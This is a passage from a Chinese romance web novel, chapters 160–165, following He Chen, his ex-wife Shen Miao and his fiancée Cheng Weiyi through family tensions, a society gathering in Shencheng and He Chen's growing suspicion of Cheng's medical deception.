光线昏暗,看不清程唯怡的脸色,但是能听到小声的抽泣。 “噗——” 贺懿捂住嘴,憋住笑,撒脚往房间里跑。 关上门,她也没敢放声大笑,生怕被听见,跟程唯怡的关系更不好。 到时候明黎艳就要骂她了。 可她抄起手机,就给贺老夫人打电话,“奶奶!我哥走了,他把程唯怡丢下了!哈哈哈哈哈……” 贺老夫人:“……” “消停点。” 贺懿笑到上不来气,声音总算小了一些时,贺老夫人丢下三个字,挂电话。 末了,她看向贺老爷子。 “老头子,你说你孙子怎么回事?” 贺老爷子,“具体怎么回事不清楚,但他对程唯怡,不是明黎艳预期的那样。” 明黎艳预期他们青梅竹马,两情相悦,修成正果。 “他要不喜欢程唯怡,结这个婚干什么?我要弄清楚。” 贺老夫人虽然看不上程唯怡,但如果贺忱喜欢她也不会阻止。 可如果贺忱不喜欢还娶,不论什么缘由,她都得插手。 160.生米煮成熟饭了? “儿孙自有儿孙福。” 贺老爷子看得很开,“当初他跟渺渺,你怎么插手也不管用,现在也是一样,他有自己的主意。” 贺老夫人瞪他一眼,“我看你是想让他早点结婚抱曾孙,不管不顾了。” “……”贺老爷子:现在改口,还来得及吗? “滚去睡沙发。”贺老夫人来了脾气,把他枕头扔下床,“看到你就糟心。” 老头子不说话,默默捡起枕头,去了沙发床上。 贺老夫人的气来得快消得快,心思很快就不在贺老爷子身上。 她思忖着,应该没什么事情能威胁到贺忱不得跟程唯怡结婚。 不行,她一定要弄清楚。 当晚,程唯怡到底还是没走。 次日一早,餐桌上气氛欢快。 确切一点来说,是明黎艳的心情不错,她哼着歌,一边看商业晨报一边用餐。 “妈,啥事儿这么高兴。” 贺懿一副见鬼了的表情。 “大人的事情小孩子少插嘴。”明黎艳的话不好听,但嘴角一直上扬着,“赶紧吃饭,一会儿上班迟到了。” “好嘞。”贺懿老实吃饭,眼神跟贺老夫人交流,到底咋滴了? 贺老夫人暗暗摇头,她一向懒得琢磨明黎艳的心情。 早餐进入尾声,贺懿抽了张纸巾准备离开时—— 程唯怡下楼了。 她的脸色不怎么好。 明黎艳把晨报拿到一旁,询问道,“是不是昨晚……睡太晚了啊?脸色这么差?多睡一会再下来也行,又没外人,别跟贺忱比,他精力一向充足,一大早走的吧?” 贺懿屁股刚离了椅子,听到明黎艳这话又坐回来了。 感情明黎艳这么高兴,是以为昨晚贺忱跟程唯怡生米煮成熟饭了? “妈,我——” 我哥昨晚上就走了! 她的话还没说出口,突然被人踢了一脚。 “哎呦——” 她回头,对上贺老夫人的目光。 贺老夫人朝她摇头,这话让程唯怡说,她说就显得幸灾乐祸了。 贺懿老实下来。 她刚老实了,却冷不丁因为程唯怡的话愣住。 “对,贺忱哥一早就走了,他说要去开会,他……几乎一晚上没睡,我真担心他工作太忙,身体吃不消。” 口口声声是工作,却字字句句都标黄。 说得好像昨晚的一夜没睡,他们大战了八百回合一样。 贺懿眼皮一抽,差点儿没把白眼珠翻出来。 程唯怡这女人居然撒谎不眨眼! 贺老夫人拧起眉,显然也是意外,程唯怡竟然在这种事情上,撒谎。 “瞧瞧,还没过门呢就知道心疼贺忱了,放心吧,他的身体素质一向很好,偶尔一两晚不睡没事的,你赶紧吃东西,我让厨房炖了汤,等会儿你给贺忱送到公司去。” 明黎艳拍了拍程唯怡的手,然后又亲手给她剥了个水煮蛋。 只是那水煮蛋刚剥好,就被贺懿拿走了。 “妈,有汤吗?我顺路给我哥带着吧,别麻烦程小姐了。她也怪辛苦的呢。” 末尾那句,阴阳怪气到了极点。 程唯怡下意识看向她,对上她似笑非笑的目光,有种被看透谎言的错觉。 “不许胡闹,赶紧去上班。” 明黎艳欲把她手里的水煮蛋拿回来。 贺懿直接咬了一口。 她只能再给程唯怡剥一颗。 “贺懿就是被爷爷奶奶惯坏了,你是她嫂子,以后多担待。” 她同程唯怡说。 程唯怡点头,见贺懿走了,她面子缓和了许多。 下楼的那一刻,她是带着难过的。 本以为大家都知道贺忱昨晚走了。 谁知,他们都不知道。 明黎艳对她的态度,也转了一个大弯。 似乎那次绯闻她差点儿害了贺忱,令明黎艳产生的不满,在一瞬间消失了。 她硬着头皮就承认了,这一刻她感觉贺少夫人的位置,稳了! “伯母放心,我以后一定会包容小懿的。” 贺老夫人放下筷子,起身离桌。 “奶奶,您吃好了?”程唯怡打招呼。 “没吃好,吃不下。”贺老夫人径直去了客厅。 程唯怡‘哦’了一声。 “奶奶年纪大了,胃口偶尔不正常,没事。” 明黎艳催促道,“你快点吃,吃完了去给贺忱送汤。” 程唯怡点头,脸上终于溢出一丝笑容来。 —— 高夫人开的会所是专供上流圈子贵太太小聚消遣的。 沈渺到的时候,一群打扮得花枝招展,保养得当的贵太太们正坐在遮阳伞下吃甜品。 下午三点,阳光正浓,温度适宜。 沈渺穿了一件黑色连衣裙,长发梳成马尾,发梢扫过肩膀,充满了朝气青春。 周敬才没跟进去,他站在车边,悄无声息地拍了一张她的照片,发出去,然后收起手机回到车上等着。 “沈总,快过来。” 高夫人看到沈渺来了,起身相应。 她打量沈渺的目光,依旧是控制不住的直接。 “高夫人,叫我沈渺吧。” 今天不是商业局,一口一个‘沈总’显得不合群。 “沈渺?”高夫人刚知道她的名字,“真好听的名字,你父母一定非常有文化涵养。” 第二次见面。 每一次见,高夫人都是没说几句话,就触及到了沈渺的父母。 沈渺只是笑笑,“您过奖了。” “过来,我给你介绍一下。” 高夫人带着沈渺入座,挨个给沈渺介绍。 “这位是林太太,那位张太太……” 众人纷纷跟沈渺打招呼,但看脸色都在猜忌,沈渺的身份。 高夫人最后才介绍沈渺。 “这位是百荣分部新上任的沈总,沈渺,前几天刚出席了振山的商业酒会,可能是我没女儿的缘故,只见了沈渺一次就喜欢,今天把她带过来,给大家认识一下。” 高夫人这番话说很是微妙,拉进了跟沈渺的关系,从第二次见面到有认沈渺当干女儿的亲密程度。 她一口一个‘沈渺’,聊得好像她们已经很熟。 她们的话题,大多围绕家庭孩子,还有深城上层圈子哪家又出了丑闻。 沈渺插不上嘴,坐了一会儿就以去洗手间为由,起身离开。 她不擅长这种交际,跟贺忱那两年她都没有跟明黎艳出席过这种贵太太局。 有种令人窒息的无力感。 她在卫生间那边拐角,去小花园里透气。 刚在藤编椅上坐下,就听身后传来脚步以及交谈声。 “高太太搞笑死了,说什么没女儿想要女儿,谁不知道他们家是出了名的重男轻女?” “听说她第一胎怀的是个女儿,生下来丢了……” “嘘,这话可不能外传,不然得罪死了!” 161.你在躲着我,你是不是在想沈渺 沈渺在孤儿院,听到最多的就是重男轻女这几个字。 孤儿院健全的孩子不多,为数不多的几个健全小孩中,女孩占多数。 她常听浅姨说,女孩子就是赔钱货。 这样的话题,在豪门中更是多见。 上亿资产需要继承,没儿子不行。 那两人渐渐远去,并未发现沈渺的存在。 沈渺又待了一会儿,准备回去,太长时间离席显得不好。 她刚从卫生间拐角出来,就看到高夫人匆匆走出卫生间。 紧绷的脸色看到她时,松懈下来。 “你去哪里了?我以为你走了。” 沈渺,“我去花园透透气,抱歉,失礼了。” 她不该招呼都不打一声,就去了别的地方。 可高夫人脸上那股子担忧,有些过头。 “没事,她们都去棋牌室了,你会打牌吗?” 高夫人走过来问。 沈渺摇头。 “那你跟我来。” 高夫人拉着她手腕,带着她穿过林荫小路,走到一幢二层洋楼前。 “这里有专业的美容师,国外进口的机器,我们一起试一下。” 她拉着沈渺进去,立刻有人过来招待,引着她们进入房间。 “谢谢高太太安排,我容易过敏,就不体验了。” 进入房间后,沈渺总算逮到了机会开口说话。 高夫人意外地看着她,“你也容易皮肤过敏?” 也? “可能是刚到深城来的原因,这几天有些过敏症状。” 沈渺敏锐地捕捉到那个字,却并未深入解读什么意思。 高夫人‘哦’了一声,想了想说,“那我让人给你泡壶茶,你在这里坐着休息,怎么样?” “好。”沈渺颔首,走到休息区的沙发上坐下。 有人泡了玫瑰花茶过来,给她倒上。 她道了谢,端着茶盏小口小口喝着,在找合适的机会向高夫人提出告辞。 高夫人躺在床上,闭着眼睛享受美容师的按摩,一直在同沈渺聊天。 “沈渺,来深城这几天还习惯吗?” 沈渺,“还好。” “听说京北特别冷,我二十多年前去过一次,当时下着大雪,雪景虽然美,可是温度太低了,我受不了。” 高夫人苦涩一笑说,“从那以后,我再也没有去过。” 沈渺,“习惯了就不会觉得冷。” “是吗?”高夫人被敷上了面膜,她坐起来看向沈渺,“等你在深城安稳下来,把你的父母接过来吧,很多北方人都来这里养老的。” 包厢里灯光昏暗,沈渺看不清楚高夫人的眼神。 敷着面膜的缘故,她连高夫人的脸色都看不清。 静默数秒,沈渺说,“我没有父母,在孤儿院长大的。” 房间里更静了,落针可闻。 “不好意思,提到你的伤心事了。” 高夫人声音带着不易察觉的颤抖,“那,你这些年过得好吗?” 沈渺,“还行。” “你没想过找你的家人吗?”高夫人忙又问,“依照你现在的实力,是有足够的能力寻找你家人的。” 沈渺,“没想过。” 比起她的干脆利落和平静,高夫人显得分外激动。 “为什么不找!你是不是怪他们,把你弄丢了?” 沈渺一怔。 房间里的灯忽然亮了不少,美容师从外面进来。 高夫人回了神,她扯动唇角笑了笑。 “抱歉,我这些年资助了一个‘孩子回家’的公益,专门帮忙寻找走丢、拐卖的儿童,看到那些丢了孩子的父母难过伤心的样子,我就着急,所以我想……你的父母可能也很着急。” “高太太善良。” 沈渺想到刚刚听到的对话,说高夫人丢弃过一个女孩。 不知真假,但现在看来高夫人确实对她这个孤儿身份,显得很激动。 不知过了多久,高夫人突然又开了口。 “你一个女孩子能在商圈有今天的地步,实在不容易,这些年很辛苦吧?” 沈渺淡笑,“运气好,跟对了上司。” 她不得不否认,她有今天全都是贺忱的功劳。 “这样挺好,一个人好好的,家里人……不找也罢。” 高夫人重新躺下,让美容师卸面膜。 沈渺继续品茶,手机突然响了一声,是贺忱发来的消息。 她趁机放下茶杯起身,“高太太,我还有工作要处理,先失陪了,谢谢您的邀请,改天再见。” 高夫人正在全脸覆膜,她抬了抬手,算是回应了沈渺的话。 沈渺拿了包转身离开,脚步声渐渐远去。 彻底消失在房间里时,房间里响起一声长长的叹息。 沈渺回到车上才打开手机,却只看到贺忱撤回一条消息。 她发了一个问号过去。 那端,手机响了一声,站在窗边的贺忱捏着烟,走到办公桌前。 他点开对话框,对着那一个问号晃神几秒。 办公室门被敲响。 他放下手机,“进。” 程唯怡推门进来,闻到烟味,忍不住拧了拧眉。 “我听林助说,你最近吸烟、喝酒的频率很高,是不是工作压力太大了?” 她将保温桶放在办公桌上,转过身,直面看着贺忱。 “还好。”贺忱掐灭烟,回到工位上坐下,“还没去看酒店吗。” 程唯怡,“伯母突然有事,明天再去。” 她抿着嘴唇,看着贺忱那副冷然的模样,好一会儿她朝他走过去,伸出手来。 她的食指贴着创可贴,依稀可见血液浸透。 “贺忱哥,我好疼。” 贺忱抬头看过来,“怎么弄的。” “弄汤的时候,不小心划伤了。” 程唯怡又往他那边凑了凑。 她还想再说什么,贺忱却已然收回目光。 “下次不用给我送汤了,公司餐厅什么都有。” 失落席卷而来,将程唯怡团团包裹住。 “贺忱哥,你是不是后悔跟我结婚了?你对我,没有以前那么好了,你在躲着我,你……你是不是在想沈渺?” 办公室里,带着哭腔的声音一瞬蔓延在每一个角落。 “你坐。”贺忱放下笔,指了指对面的位置,“刚好,我们谈谈。” 他语气虽然柔和了几分,但依旧难掩失落。 程唯怡的心里‘咯噔’一声,下意识想逃避与他的交谈。 他……想说什么? 162.有你我的原因,唯独没有沈渺的原因 “我既然答应了结婚,就不会反悔。” 贺忱一字一顿道,“可我不能只考虑结婚,还要考虑以后的事情,总要给长辈们一个交代。” 程唯怡在他对面,如坐针毡。 她明白他的意思,可装不明白,“我知道,我配不上你——” “你要真知道,就该配合一些,我约了医生,明天你去。” 贺忱拿出一张名片,推到程唯怡面前。 程唯怡猛地抬起头,“我,你难道不信秦川……的医术吗?” “信,但天外有天人外有人。” 贺忱眸色极深。 他敏锐地察觉出,秦川不止一次的让他带程唯怡去找其他医生,定有含义。 他不容置疑的话语,让程唯怡拒绝不得。 就像他答应她结婚时,也是拒绝不得的。 她轻咬内唇,好一会儿小声问,“贺忱哥,你还有一个问题没回答我,你……是不是后悔跟沈渺离婚了?” “我就事论事,跟沈渺无关。” 贺忱避而不谈。 程唯怡,“你也在逃避!如果不是她,我们的关系不至于像现在这么糟糕,以前我们不是这样的!” 不管贺忱对她的感情有多少。 可至少以前贺忱愿意哄她,会陪着她。 但是订婚到结婚,明明是越来越近的关系,贺忱却离她越来越远了! 她不能再像以前一样来公司陪他,他们很久没有一起吃饭了。 甚至连最基本的电话和消息都没有。 “我们会走到今天,有你的原因也有我的原因,唯独没有沈渺的原因。” 贺忱条理清晰,“你做过什么,你比我清楚。” 程唯怡喉咙一梗。 “我还有会议,等会儿让林昭送你回去。” 贺忱起身,整顿了下领带和西装,阔步离开办公室。 程唯怡面前的名片静静躺在那里。 贺忱没再提醒她明天去看医生,可她知道这一回她非去不可。 可她,怎么去? 她深吸一口气,大脑飞速运转,掏出手机拨出一通电话。 “秦川,我们见一面,这次你还得帮我……” 程唯怡边打电话边往外走,冷不丁对上贺忱深沉的目光。 她下意识挂了电话。 “贺,贺忱哥,你不是走了吗?” 贺忱站在门口,手撑着门把,面色不辨喜怒,眸光沉而深。 他将门完全推开,进入办公室内。 “落了文件,回来取。” 程唯怡吞口水,目光一眨不眨地打量他,“你,我刚刚给秦川打了通电话,想让他帮我介绍好一些的医生。” 贺忱在一摞文件里,准确无误找出自己想要的。 他未曾抬头看程唯怡,只是说,“这个医生就很好。” 他指的是程唯怡手中名片的医生。 程唯怡见他没说别的,松一口气,“知道了。” 说完她转身离开办公室。 办公室的门未彻底关上之前,他抬眸看过去一眼,眼底划过稍纵即逝的精光。 “贺总。” 林昭敲了下门,然后推门进来,“程小姐走了,不让我送。” “准备会议。”贺忱薄唇轻启。 “是,另外这是深城那边近况,您看看。” 林昭把平板递给贺忱。 贺忱扫了两眼,反问,“高家什么情况。” “前些日子,高振山跟韩文松私下见过一面,之后没再见面,但我猜他们暗通曲款,必定有鬼,还有这个高夫人,总跟沈秘书套近乎,我担心沈秘书双拳难敌四手。” 又要应对商场老狐狸,还得应付上流圈子贵太太。 沈渺应接不暇。 “约微克老总见面。”贺忱看了看腕表,“今晚。” 林昭一愣,“啊?” 不等他反应过来,贺忱已经拿着文件去开会了。 “约谁?”林昭脑子转不过弯来,“微克老总?陈庆?干啥啊?” 他一连几个疑问,却没有人来解答。 —— 沈渺前脚在高夫人那儿离开,后脚就上了新闻。 有记者偷拍到她想通过拉拢贵太太的方式,打通深城商圈关系。 但她的身份被扒了个干净,除了深受贺忱重用外,没有任何的背景,贵太太们根本不吃她这一套。 所以她夹着尾巴从会所里出来了。 这个新闻一出,韩文松立马给沈渺打来电话。 “沈总,您闹出这样的新闻,总部那边怕是交代不过去,我不是说了,公司有我们,您就坐在这个位置上老老实实的最好了。” 沈渺一边看新闻,一边接电话。 韩文松的声音在逼仄的车厢里,十分清晰地响起, 待他安静下来好一会儿,沈渺才不急不缓的开口。 “我可以被免职,但我不能罢工,我闯的篓子会自己跟总部那边交代,不劳韩经理费心。” 说完,她直接挂电话。 这件事情虽然会给百荣带来影响,但并不大。 别说她不是去疏通关系的,就算是去,也是为了百荣分部的发展。 只是‘灰溜溜’离开这些词汇,让她个人显得丢人罢了。 回到公司后,她给林昭发消息,询问贺忱的行程安排,她得给贺忱电话沟通,汇报这次的新闻。 “贺总在开高层会议,我把您远程切入会议中,刚好就两边分部的一些工作安排,也有需要您参与的地方。” 林昭压低声音说。 沈渺,“好,我现在就可以了。” 她打开电脑,登录公司会议软件,等待林昭接入。 视频会议打开得很快,快到贺忱矜贵的面容出现在屏幕上时。 做足准备的沈渺,心脏还是不可控制地悸动了下。 镜头中,男人身着白色衬衫,黑色西裤,短发干练,一双鹰隼般的沉眸透着绝对的肃杀和矜贵。 他单薄的眼皮低垂着,正在认真看面前的文件。 屏幕的亮度反射在他脸上,他才缓缓抬了下头。 隔着屏幕,沈渺与他对视。 她先回了神,收回目光。 “贺总,林助。” 沈渺率先开口。 镜头中,沈渺穿着白色衬衫,长发束起,不施粉黛的小脸下巴尖尖的。 她看起来不错,整个人圆润了些,但不胖,很丰腴。 “让他们先出去。” 贺忱颔首,算是跟沈渺打过招呼,他侧目吩咐林昭。 他话音一落,会议室的高层们瞬间站起来,往外走。 不出十秒,偌大的办公室,就只剩下贺忱一个人。 镜头中,他们面面相觑。 163.突然后悔,让你去深城 算算日子,沈渺去深城一个星期了。 不过七天,却仿若有种隔了半个世纪那么久。 隔着的屏幕镜头,让贺忱有种两个世界的错觉。 他喉结滚动,嗓音低沉着,“突然后悔,让你去深城。” 沈渺唇瓣微动,看着他极深的眸色,突然就失了声。 贺忱凝了她几秒,拿过桌上的烟,抽出一根点燃。 缭绕的雾气升起,笼罩着他俊朗的面庞。 “深城的情况,比我预想的复杂一些,怕你吃不消。” 他嗓音涔涔。 沈渺清了清嗓子,缓缓开口。 “贺总放心,我会顾全自己的安危,这次的事情我会向董事会做出解释——” 她现在担任分部总经理,有任何风吹草动是需要向董事会汇报的。 “不用,董事会那边,我来处理。” 贺忱拿下唇上的烟,烟圈在他薄唇里溢出。 另一只手里把玩着打火机,整个人看起来有几分肆意的松散。 可他周身散出的那股不容置疑,丝毫不受影响。 “我会尽快派人过去帮你。” 分部的副总经理位置还空着。 能再来个人跟沈渺一起应对突然状况,再好不过了。 沈渺点头,“好。” 话落,陷入沉寂。 依旧持续的视频通话,看起来没什么异样。 可禁不住细细打量,两人都有些许小动作,能看出微妙的气息。 良久,沈渺先开了口,“贺总,我们继续会议吧。” 她并不觉得,这几句话需要清场来说。 贺忱鼻腔里发出一个单音节,他掸了掸烟灰,说了句,“好好照顾自己。” 不等沈渺回应,他看向门口,“林昭。” 会议室的门应声而开,林昭重新带着高层们入场。 会议持续了很久,结束时天色已晚。 通话中断的那一刻,屏幕中男人的脸消失。 沈渺在位置上做了几秒,站起来收拾公文包走人。 而那端,贺忱却在会议室坐了很久。 直到林昭来提醒,“贺总,跟陈总约的七点,再不出发要迟到了。” “知道了。”贺忱起身,将袖口扣子系上,阔步朝外面走去。 晚高峰,路上堵着,抵达目的地时已经七点过几分。 陈庆早已到了,却没进去,在餐厅门口等着。 看到贺忱的车过来了,他立马上前来开车门。 “贺总。” 贺忱拢了拢西装下车,看他一眼,“陈总不用这么客气。” 陈庆卑躬屈膝,竟是比以往还要尊敬。 “不客气,应该的,能让贺总亲自邀约,是我的荣幸。” 他跟在贺忱后面,进入餐厅,额头始终渗着一层冷汗。 片刻,两人在包厢落座。 点完单后,服务员先将酒水拿上来。 陈庆即刻起身,给贺忱倒酒。 贺忱却是将酒瓶拿过去,“陈总不用客气,今天是我有事相求。” “贺,贺总没开玩笑吧?”陈庆一听那个‘求’字,下意识说,“我能帮您什么忙啊?” “想管陈总要个人。”贺忱给陈庆倒酒。 陈庆赶紧把酒杯端起来,接住酒瓶口,“哎呀呀贺总,这可使不得,您有事一个电话就行。” 他站在贺忱的座位旁边,佝偻着身体。 “我想要张科研。”贺忱漠然开口。 陈庆的表情瞬间变了。 青白交加了好一阵,他试探性地问,“是,是为了沈秘书吗?” 贺忱眉梢一挑,意思不言而喻。 张科研能力虽然不错,可还不到入贺忱眼,让贺忱舍了面子亲自来要人的地步。 “贺总,我觉得有些事情顺其自然最好了,他们的事情我们就不要插手了吧?” 陈庆后背直冒冷汗。 可他还是硬着头皮,委婉地拒绝贺忱。 贺忱听出他弦外之音,“先前微克在深城创办了项目,我以为陈总会让张科研过去。” “我问过张科研的意思,他不去。” 陈庆说完,又解释道,“张科研的母亲病重,正在京北治疗,他走不开。” 原来是这样。 贺忱了然,他眉头拧着,思绪略乱。 陈庆在旁边站着,打量他的脸色,摸不透他的想法,一味地提着心。 “那就算了。” 良久,贺忱薄唇吐出四个字。 陈庆送一口气,坐下来。 他刚坐下,贺忱却已经起身。 “突然想起来还有事,先失陪了。” 陈庆忙起身送,把人送走又回来的。 桌上的菜肴一口没动,他却毫无食欲,掏出手机给张科研打电话。 “张科研,你说你跟沈渺分手了,没骗我吧?” 那端,张科研语气坚定,“陈总,我从来不骗人,不然沈渺也不能去深城。” “你可知道,刚刚贺忱找我,就为了你。” 陈庆想,或许贺忱不知道,沈渺跟张科研已经分手了。 又或者,贺忱知道,要张科研是为了替沈渺出气? 可贺忱为什么又问张科研去深城的事情? 张科研心里一惊,“那您……” “我没松口,好在他没勉强,你跟沈渺没闹掰吧?可千万别得罪了,万一贺忱要替沈渺出头,你我都吃不消!” 陈庆再三叮嘱。 “陈总放心。”张科研再三保证后,结束通话。 然后他立马拨通了沈渺电话。 彼时,沈渺在回家的路上。 静默的车厢里,她正闭着眼睛小憩。 脑海里不断浮现刚刚会议室的场景,扰得她心神不宁时,手机响了。 她没存张科研的电话,只觉得这号码有些熟悉,便接了。 “沈渺。” “张科研?”沈渺听出他声音,很意外。 张科研,“抱歉,这么晚打扰你了,我有件事想跟你说。” 他语气严肃,令安静的气氛显得更凝重。 “你说。” 张科研言简意赅,将事情说了一遍。 沈渺猝不及防想到贺忱那句,找人过来帮她。 他先前还说过,张科研可以申请调职。 “抱歉,给你带来麻烦了,不过你先不要担心,他找过陈总这一次,短期内不会再有所动作,我……会尽快处理好。” “不用说抱歉,当初是我自愿帮你这个忙的,是我的冲动带来今天的后果,但是沈渺——” 张科研顿了顿,他提醒道,“贺总对你,不一般。” 哪个上司,会为了下属做这种事情? 164.贺忱决定去深城 成人之美的幕后,一定藏着别样的因素。 沈渺扯了扯嘴角,“深城这边情况复杂,他是怕我出事才舍下脸去找陈庆的。” 另外一层原因,沈渺想,贺忱还是想弥补她。 虽说,她不认为那段已经结束的婚姻,需要他的弥补。 “是吗。”张科研从未问过,沈渺跟贺忱到底是怎么回事。 他很有分寸,他们的关系没熟到那一步。 但此刻还是忍不住说了句,“贺总不是好糊弄的人,若他知道了,你想过后果吗?” 沈渺没想过,但是有些事情她不深挖,也能知道下场。 所以是她不敢想。 嘴上答应张科研会尽快处理好。 可沈渺根本不知道,该怎么处理。 她回到家里时,瓷白的小脸上挂着心事重重的样子。 “贺忱又干什么了。” 商音看她这表情,就知道跟贺忱有关系。 “没事。”沈渺强撑起情绪,冲商音笑了笑。 商音每天带商商,人瘦了一圈。 她像脱缰的野马,每天困在家里脾气肉眼可见的暴躁。 沈渺不想跟她说这些糟心的事情。 见她还在盯着自己看,沈渺又添一句,“工作太累了,我发愁什么时候才能熬出头。” “先来吃点东西,把自己跟孩子养得胖胖的,再过上三个月,你就解放了!” 商音每天也在强撑着,迫不及待想找到保姆带孩子。 今天下午商商睡了午觉,这会儿还精神着。 沈渺把婴儿车拉过来,一边吃东西一边逗商商。 商音总算能喘口气,瘫倒在沙发上。 “今天我给浅姨打电话了,问那笔钱的下落,她死活不肯说。” 沈渺,“那钱估计是要不回来了。” 虽然她不认为,浅姨有短期内花那么大一笔钱的能力。 可钱确实不在浅姨账户下,或许是被转移了,就是怕她们要。 “那我也不能这么轻易就不要了,我隔三岔五就得骚扰她,让她睡觉都不能安稳。” 商音快气死了。 但凡她们手里钱再多一些,沈渺现在也不用这么辛苦。 沈渺把商商从婴儿车里抱出来,放在自己腿上,搂着小家伙吃东西,馋得小家伙眼睛瞪得溜圆,直盯着她看。 “没关系的,干妈还能再攒钱。” 她摸着商商的小脸,一边馋他,一边回应着商音。 —— 京北,医院。 程唯怡昨天突然挂了秦川的电话后,不论再怎么打,都打不通了。 她给秦川发了消息,让秦川务必今天想办法,不然就鱼死网破。 八点半了,程唯怡在医院等了很久,没等来秦川,等来了贺忱。 “去安排一下。” 贺忱吩咐林昭。 林昭同程唯怡颔首示意,算打过招呼后,就按照贺忱的吩咐,去找医生。 贺忱站在窗前等着,他深邃的目光跳跃着远方。 程唯怡站在他身后,低头看了一眼时间,心底愈发着急。 难道,秦川真打算鱼死网破吗? 她不信,她手里可是有秦川最在意的东西! “不用紧张,最坏的结果不过如此。” 贺忱将她的小动作尽收眼底,眸色又深了几分。 他却是说着安慰她的话。 程唯怡忙不迭把手机关了,“我,我只是不想再被伤害一次。” 她紧咬着嘴唇,心慌意乱演变成伤心。 “结果不见得是坏的。”贺忱语气清淡。 “如果,结果不是坏的,我们的婚礼还继续吗?” 程唯怡下意识问。 她问完,就看到贺忱的目光染上来探究。 “我只是抱着好的心态想事情,怕又闹出新闻,给你带来麻烦。” 她忙解释着。 贺忱站的笔直,轮廓分明的五官俊朗帅气,被清晨的阳光笼罩。 他漠然的目光,在适宜的温度里,释放出微冷的气息。 他没回应程唯怡,沉默让程唯怡的心渐渐沉入谷底。 她还想再说什么时,林昭匆匆归来。 “贺总,医生已经准备好了,可以让程小姐进去了。” 程唯怡吞了吞口水,下意识回头看了一眼。 整层楼,今天都是为了给她做检查准备的。 长廊尽头,空无一人。 秦川没有来。 他真的不来了? 程唯怡心里冒火,面色不受控制的难看。 “程小姐,请吧。” 林昭走到程唯怡面前,引着她进检查室。 程唯怡又看了眼贺忱,一步三口头地跟着林昭朝检查室走。 “程小姐,请进,我就在外面,您有事可以直接喊我。” 林昭将检查室的门推开,毕恭毕敬地邀请程唯怡进去。 程唯怡深吸一口气,一只脚刚踏入监察室内,她包里的手机就响了。 她立马将脚缩回来,接起电话。 “什么?我妈怎么了……” 程唯怡惊慌失措着,顾不上解释,接着电话就跑了。 林昭反应过来时,她已经跑到电梯口了。 “程小姐,程——” 他想去追。 背对着他们的男人冷不丁开口,“不用追了。” 林昭的脚步戛然而止,他折回来走到贺忱身边。 “听起来是程夫人出事了,我们要不要去看看?” “不必。”贺忱嗓音涔涔。 他微眯的长眸,一瞬间就凝了冰般又冷又沉。 林昭摸不着头脑,看着已经跑了的程唯怡,又回过头看看一副老谋深算的贺忱。 “贺总,那我们……现在怎么办?” 贺忱静默数秒道,“现在你去订两张明天飞深城的机票。” 林昭惊掉下巴,“啊?飞深城?我和您?” “我和秦川。”贺忱转过头来看着他,“京北这边你盯着,我亲自去深城。” 他想派人去帮沈渺的事情,林昭是知情的。 可林昭不赞同他亲自去。 “贺总,要不我替您去呢?百荣这边离不了您啊,而且您和程小姐婚礼在即,很多事情等着您处理呢!” 贺忱,“距离婚期还很久,不急,按我说的做。” 林昭欲言又止。 最终他什么都没说,却觉得……要变天了! 他转身正欲去订票时,突然又听贺忱添了句,“别告诉沈渺。” “是。”林昭的心哇凉哇凉的。 沈渺,自求多福吧。 贺忱转身朝另外一个方向走去,他径直去了秦川的办公室,却被告知秦川今天来没医院。 秦川的电话打不通,他又吩咐林昭找人。 临近中午,林昭发来了秦川的具体位置,在京北大学城附近的一所出租屋里。 那所出租屋,是他读大学时住过的。 贺忱去过,直接找上门。 165.贺忱眼里容不得沙子 秦川开门,看到来的是贺忱,意外中又带着一丝解脱般的释然。 “我就知道,你会找到这里来。” 门开着一条缝,贺忱抬脚将门踢开。 秦川让出位置,看着他双手插兜走进来。 两室的出租屋很狭窄,两个身形高大的男人站在里面,显得拥挤。 贺忱站在屋子中央,他转过身来打量秦川。 “坦白从宽抗拒从严,秦川,我只给你这一次机会。” 秦川知道,程唯怡是不会撕破脸的。 但聪明如贺忱,他找到这里来,说出这句话,就证明他已经察觉到什么。 “我没什么好说的。” 可是,秦川不能说,程唯怡有不敢让贺忱知道的事情。 他也有。 贺忱眸光隐晦不定,沉默令室内的气息一度将至冰点。 “现在回去收拾东西,明天跟我去深城。” 良久,他缓缓开口,丢下两句话后,他绕开秦川朝屋外走去。 秦川转过头,看着他下台阶,身形渐渐消失在视线中。 他甚至想好了,他们会绝交,这段二十多年的友情到头了。 贺忱的眼里一向容不得沙子,他算例外。 秦川的内疚更深一层,饱受煎熬。 去深城?或许,沈渺就是贺忱眼里另外一个特殊的‘沙子’。 —— 深城的清晨微凉,沈渺穿着浅灰色的连衣裙,身上裹着商音强行让她带着的披风。 她刚下车,李白恬就匆匆过来了。 “沈总,不好了,分部几个高层聚在会议室里,说要讨伐你,周敬才那个狗腿子说让我来通知你,他应付,但我看他根本就是留下一起商量怎么对付你的!” 还是为昨天上新闻的事情。 沈渺想过他们会拿这说事。 可她没想到,他们这么明目张胆,要讨伐她。 讨伐的目的,是想逼她主动离开分部。 “沈总,要不咱们找贺总帮忙?” 李白恬试探性地问。 沈渺看她一眼,“贺总是我们的领导没错,但你别忘了,我是他们的领导,还能让他们牵着鼻子走?” “啊。”李白恬挠挠头,“那我们怎么办?” 沈渺看了看面前的高楼大厦,她思忖了下。 “你去查一下高夫人在哪儿,查完发消息给我,今天给你放一天假,去玩儿吧。” 李白恬瞪大眼睛,“玩儿?那您呢?” 沈渺,“按我说的做。” 她转身回到车上,给司机也放一天假,自己开车离开。 走到半路上时,李白恬就把高夫人的行踪发给她了。 高夫人今天陪儿媳妇去选月子中心了。 沈渺一脚油门踩下去,立马回家喊上商音,直奔月子中心。 “你今天工作不忙吗?怎么突然就回来了。” 车上,商音坐在后排,逗弄着商商,同沈渺说。 沈渺,“刚好有时间,先把这件事情提上日程,我了解了一下这家月子中心,还有靠谱的住家育儿嫂,等会儿选下,帮你带商商。” “那再好不过了,我真不是个负责的妈,带了他几天就感觉身心疲惫。” 商音穿着舒适的纯棉T恤,带着黑框眼镜,素颜朝天。 整个人妈味十足,跟她以前判若两人。 “我看育儿书上说,生产后的孕妈妈更需要多关注情绪,长期在家里带孩子情绪会有问题的,这不是你的问题,这是每个妈妈都要经历的阶段。” 沈渺开导着她,“找到合适的育儿嫂,我腾出一天来陪你去逛街,散散心。” 商音一听这话,来了精神,“我听说百鸣商场总部在深城,到时候我们去逛逛?” “好。” 沈渺的几句开解,就让商音恢复了热血,热火朝天地聊逛街。 半小时后,维尔亚月子中心。 沈渺从车上下来,锁好车,与商音一起推着商商进去。 前台接待穿着紫色的纯棉工服,笑脸相迎。 